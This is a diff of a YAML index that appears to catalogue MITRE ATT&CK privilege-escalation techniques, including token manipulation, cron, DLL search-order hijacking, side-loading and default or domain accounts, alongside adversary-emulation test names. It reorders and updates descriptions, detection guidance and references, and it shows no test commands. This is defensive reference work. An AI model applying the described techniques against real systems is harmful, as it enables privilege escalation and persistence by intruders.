-        a new process under the security context of a different user.
-      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
       type: attack-pattern
+      name: Create Process with Token
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T14:51:48.978Z'
+      created: '2020-02-18T16:48:56.582Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-26T21:28:19.476Z'
-      created: '2020-02-18T16:48:56.582Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_defense_bypassed:
       - Windows User Account Control
       - System access controls
       - File system access controls
-      x_mitre_detection: |-
-        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
-
-        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
-
-        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code> and <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
+      description: |-
+        Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)
+
+        Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).
+      x_mitre_contributors:
+      - Vadim Khrykov
+      x_mitre_detection: |-
+        If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+        If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
+
+        Analysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/002
+        external_id: T1134.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
+        description: Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.
+        source_name: Microsoft RunAs
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
       identifier: T1134.002
     atomic_tests:
     - name: Access Token Manipulation
@@ -13059,25 +13251,29 @@ privilege-escalation:
         elevation_required: true
   T1543:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543
-        url: https://attack.mitre.org/techniques/T1543
-      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
-        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
-        source_name: TechNet Services
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
-        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
-          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
-        source_name: OSX Malware Detection
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Create or Modify System Process
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2021-11-03T20:11:52.175Z'
+      created: '2020-01-10T16:03:18.865Z'
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
       description: "Adversaries may create or modify system-level processes to repeatedly
         execute malicious payloads as part of persistence. When operating systems
         boot up, they can start processes that perform background system functions.
@@ -13093,27 +13289,11 @@ privilege-escalation:
         under root/SYSTEM privileges. Adversaries may leverage this functionality
         to create or modify system processes in order to escalate privileges. (Citation:
         OSX Malware Detection).  "
-      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-10-09T13:46:29.922Z'
-      created: '2020-01-10T16:03:18.865Z'
-      x_mitre_data_sources:
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
       x_mitre_detection: "Monitor for changes to system processes that do not correlate
         with known software, patch cycles, etc., including by comparing results against
         a trusted system baseline. New, benign system processes may be created during
@@ -13126,27 +13306,37 @@ privilege-escalation:
         process call trees from known services and for execution of other commands
         that could relate to Discovery or other adversary techniques. \n\nMonitor
         for changes to files associated with system-level processes."
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543
+        external_id: T1543
+        source_name: mitre-attack
+      - source_name: TechNet Services
+        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: OSX Malware Detection
+        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
+          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
+        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
     atomic_tests: []
   T1053.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.003
-        url: https://attack.mitre.org/techniques/T1053/003
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cron
-      description: |-
-        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.
-
-        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
       type: attack-pattern
+      name: Cron
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-08-23T15:29:36.918Z'
+      created: '2019-12-03T14:25:00.538Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -13154,13 +13344,22 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T23:30:46.546Z'
-      created: '2019-12-03T14:25:00.538Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - User
+      description: "Adversaries may abuse the <code>cron</code> utility to perform
+        task scheduling for initial or recurring execution of malicious code.(Citation:
+        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
+        job scheduler for Unix-like operating systems.  The <code> crontab</code>
+        file contains the schedule of cron entries to be run and the specified times
+        for execution. Any <code>crontab</code> files are stored in operating system-specific
+        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
+        to execute programs at system startup or on a scheduled basis for persistence. "
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -13171,14 +13370,15 @@ privilege-escalation:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement. "
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/003
+        external_id: T1053.003
+        source_name: mitre-attack
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
       identifier: T1053.003
     atomic_tests:
     - name: Cron - Replace crontab with referenced file
@@ -13270,6 +13470,27 @@ privilege-escalation:
 '
   T1574.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: DLL Search Order Hijacking
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-04-26T18:37:03.748Z'
+      created: '2020-03-13T18:11:08.357Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
@@ -13279,67 +13500,9 @@ privilege-escalation:
         Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
 
         If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
-      name: DLL Search Order Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.001
-        url: https://attack.mitre.org/techniques/T1574/001
-      - external_id: CAPEC-471
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/471.html
-      - source_name: Microsoft Dynamic Link Library Search Order
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
-          Retrieved November 30, 2014.
-      - source_name: FireEye Hijacking July 2010
-        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
-        description: Harbour, N. (2010, July 15). Malware Persistence without the
-          Windows Registry. Retrieved November 17, 2020.
-      - source_name: OWASP Binary Planting
-        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
-          2016.
-        url: https://www.owasp.org/index.php/Binary_planting
-      - source_name: FireEye fxsst June 2011
-        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
-        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
-          17, 2020.
-      - source_name: Microsoft Security Advisory 2269637
-        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
-        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
-          March 13, 2020.
-      - source_name: Microsoft Dynamic-Link Library Redirection
-        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Manifests
-        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
-        url: https://msdn.microsoft.com/en-US/library/aa375365
-      - source_name: FireEye DLL Search Order Hijacking
-        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
-        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
-          Revisited. Retrieved March 13, 2020.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-26T18:37:03.748Z'
-      created: '2020-03-13T18:11:08.357Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
       x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
         modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
         with past behavior) that do not correlate with known software, patches, etc.,
@@ -13347,8 +13510,45 @@ privilege-escalation:
         the same file name but abnormal paths. Modifications to or creation of `.manifest`
         and `.local` redirection files that do not correlate with software updates
         are suspicious.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/001
+        external_id: T1574.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/471.html
+        external_id: CAPEC-471
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
+          Retrieved November 30, 2014.
+        source_name: Microsoft Dynamic Link Library Search Order
+      - url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
+        description: Harbour, N. (2010, July 15). Malware Persistence without the
+          Windows Registry. Retrieved November 17, 2020.
+        source_name: FireEye Hijacking July 2010
+      - url: https://www.owasp.org/index.php/Binary_planting
+        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
+          2016.
+        source_name: OWASP Binary Planting
+      - url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
+        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
+          17, 2020.
+        source_name: FireEye fxsst June 2011
+      - url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
+        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
+          March 13, 2020.
+        source_name: Microsoft Security Advisory 2269637
+      - url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
+          Retrieved March 13, 2020.
+        source_name: Microsoft Dynamic-Link Library Redirection
+      - url: https://msdn.microsoft.com/en-US/library/aa375365
+        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
+        source_name: Microsoft Manifests
+      - url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
+        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
+          Revisited. Retrieved March 13, 2020.
+        source_name: FireEye DLL Search Order Hijacking
       identifier: T1574.001
     atomic_tests:
     - name: DLL Search Order Hijacking - amsi.dll
@@ -13372,8 +13572,29 @@ privilege-escalation:
         elevation_required: true
   T1574.002:
     technique:
-      created: '2020-03-13T19:41:37.908Z'
+      type: attack-pattern
       modified: '2021-04-26T18:31:34.954Z'
+      name: DLL Side-Loading
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      x_mitre_version: '2.0'
+      created: '2020-03-13T19:41:37.908Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
+      description: |-
+        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
+
+        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -13381,44 +13602,23 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.002
-        url: https://attack.mitre.org/techniques/T1574/002
-      - external_id: CAPEC-641
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/641.html
-      - source_name: FireEye DLL Side-Loading
-        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
-        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
-          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: DLL Side-Loading
-      description: |-
-        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
-
-        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
-      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
         does not use the network begins to do so) as well as the introduction of new
         files/programs. Track DLL metadata, such as a hash, and compare DLLs that
         are loaded at process execution time against previous executions to detect
         differences that do not correlate with patching or updates.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/002
+        external_id: T1574.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/641.html
+        external_id: CAPEC-641
+        source_name: capec
+      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
+        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
+          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
+        source_name: FireEye DLL Side-Loading
       identifier: T1574.002
     atomic_tests:
     - name: DLL Side-Loading using the Notepad++ GUP.exe binary
@@ -13457,60 +13657,19 @@ privilege-escalation:
         name: command_prompt
   T1078.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.001
-        url: https://attack.mitre.org/techniques/T1078/001
-      - external_id: CAPEC-70
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/70.html
-      - source_name: Microsoft Local Accounts Feb 2019
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
-          11, 2019.
-      - source_name: AWS Root User
-        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
-        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
-      - source_name: Metasploit SSH Module
-        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
-        description: Metasploit. (n.d.). Retrieved April 12, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Default Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
-
-        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
-      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-05T20:14:26.846Z'
-      created: '2020-03-13T20:15:31.974Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_detection: Monitor whether default accounts have been activated or logged
-        into. These audits should also include checks on any appliances and applications
-        for default credentials or SSH keys, and if any are discovered, they should
-        be updated immediately.
+      name: Default Accounts
       x_mitre_data_sources:
       - 'User Account: User Account Authentication'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-04-05T20:14:26.846Z'
+      created: '2020-03-13T20:15:31.974Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -13521,6 +13680,47 @@ privilege-escalation:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
+      description: |-
+        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
+
+        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_detection: Monitor whether default accounts have been activated or logged
+        into. These audits should also include checks on any appliances and applications
+        for default credentials or SSH keys, and if any are discovered, they should
+        be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/001
+        external_id: T1078.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/70.html
+        external_id: CAPEC-70
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
+          11, 2019.
+        source_name: Microsoft Local Accounts Feb 2019
+      - url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
+        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
+        source_name: AWS Root User
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
+      - url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
+        description: Metasploit. (n.d.). Retrieved April 12, 2019.
+        source_name: Metasploit SSH Module
       identifier: T1078.001
     atomic_tests:
     - name: Enable Guest account with RDP capability and admin privileges
@@ -13592,35 +13792,17 @@ privilege-escalation:
         elevation_required: true
   T1078.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.002
-        url: https://attack.mitre.org/techniques/T1078/002
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - source_name: Microsoft AD Accounts
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
-        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
-          March 13, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
-
